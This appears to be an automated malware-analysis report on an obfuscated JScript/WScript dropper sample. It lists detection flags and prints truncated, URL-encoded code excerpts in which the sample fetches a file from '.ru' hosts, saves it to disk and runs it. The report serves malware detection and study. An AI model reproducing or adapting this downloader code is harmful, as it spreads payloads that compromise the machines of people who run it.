Suspicious ^80% javascript-malware-collection Download

20160328_ac34f990f192e98a6e1f7ac4567c571f.js

Obfuscated WScript payload execution

retry loop wrapping try-catch (for loop)eval() executing transformed code

SHA-256723bc0ac9dc9eefd111c475403ac33728b62b1d4918de95b8c02d94c6c8e662a

Evidence

Reads an XMLHttpRequest response body line 1

1eval(el("wrap%20%3D%20%28%22WScr%22%29%3B%20rmultiDash%20%3D%20%28%22jec%22%29%3B%20dispatch%20%3D%20%28%22sta%22%29%3B%20matched%20%3D%20%28%22Ru%22%29%3B%20conditionFn%20%3D%20%28%22cr%22%29%3B%20get%20%3D%20%28%22.6.0%22%29%3Belem%20%3D%20%28%22l2.X%22%29%2C%20xhrFields%20%3D%20%28%22.Serve%22%29%2C%20sortStable%20%3D%20%28%22uctor%22%29%2C%20implementation%20%3D%20%28108%29%2C%20scrollTo%20%3D%20%28%22rea%22%29%2C%20qsaError%20%3D%20%28%22Sle%22%29%3Bbulk%20%3D%20%28%22appl%22%29%3Brelated%20%3D%20%28%22TP.6.0%22%29%3B%20radio%20%3D%20%28%22ings%22%29%3B%20documentElement%20%3D%20%28function%20isA …

Text has empty named-parameter catch lines 10–24

16… ring, sortStable, boolHook, qsaError);
11
12function random() {
		for(resolveWith = 0; resolveWith < disabled["l" + success + "th"]; resolveWith++) {
						try {
										err = username[namespace + "pt"][eventHandle + "teObj" + ontype](disabled[resolveWith]);
										preFilter();
										err["se" + Expr + "d"]();
										break;
						} catch(evt) {
20
						}
		}
23
		while(err[scrollTo + "dySta" + time] != ((191, nodeType, 238, _load) - (11 + toggleClass))) username["WScr" + parent …

Hardcoded .ru country-TLD domain lines 26–43

26:11… [dispatch + "tus"] == ((257 & documentElement) - 57)) {
27								ifModified[opt + "e" + Expr]();
28								ifModified["Wri" + time](err["respo" + anim + "y"]);
29								cors(xhr, scrollTo, duration, bup);
30								ifModified["Sav" + match + "File"](attrHandle, ((contents | 2) & (register - 36)));
31								animate[offset + "ript"][qsaError + "ep"](((uid | 5384) & (preexisting - 1727)));
32								send[matched + "n"](attrHandle);
33				} else {
34
35				}
36}
37
38function runescape(display, list) {
39				bup(el("ifModified%20%3D%20username%5Boffset%20+%20%22ript%22%5D%5BonlyHandlers%20+%20%22eOb%22%20+%20rmultiDash%20+%20%22t%22%5D%28index%20+%20%22Strea%22%20+%20activeElement%29%3B"));
40}
41
42function preFilter(setter, emptyGet, rclickable) {
43				bup(el("err%5B%22op%22%20+%20firstElementChild%5D%28%22G%22%20+%20bool%20+%20%22T%22%2C%20optSelected%20+%20%22/poto%22%20+%20bind%20+%20%2237.ru%22%20+%20fn …

Calls JavaScript unescape lines 43–51

43:267… tedIndex%29%29%29%29%3B"));
44}
45
46function el(finish) {
47				return unescape(finish);
48}
49
50function cors(newDefer) {
51				bup(el("pipe%5Bwrap%20+%20%22ipt%22%5D%5Bpush_native%5D%28%28%28width*3*resolveValues …

Obfuscated computed call cluster lines 51–59

51:139… %29%29%3B"));
52}
53
54function responseType(options, proxy, clone) {
55				bup(el("random%28mapped%20+%20%22//pot%22%20+%20what%20+%20%22.ru%22%20+%20disconnectedMatch%20+%20%223IVP.e%22%20+%20t%29%3B"));
56}
57
58function reverse(wrapAll, remaining, tbody) {
59				bup(el("attrHandle%20%3D%20send%5BpostFinder%20+%20%22ndEnv%22%20+%20rcssNum%20+%20%22entStr%22%20+%20radio%5D%28%22%25TE%22%20+%20reset%29%20+%20%22curCS%22%20+%20groups%20+%20%22 …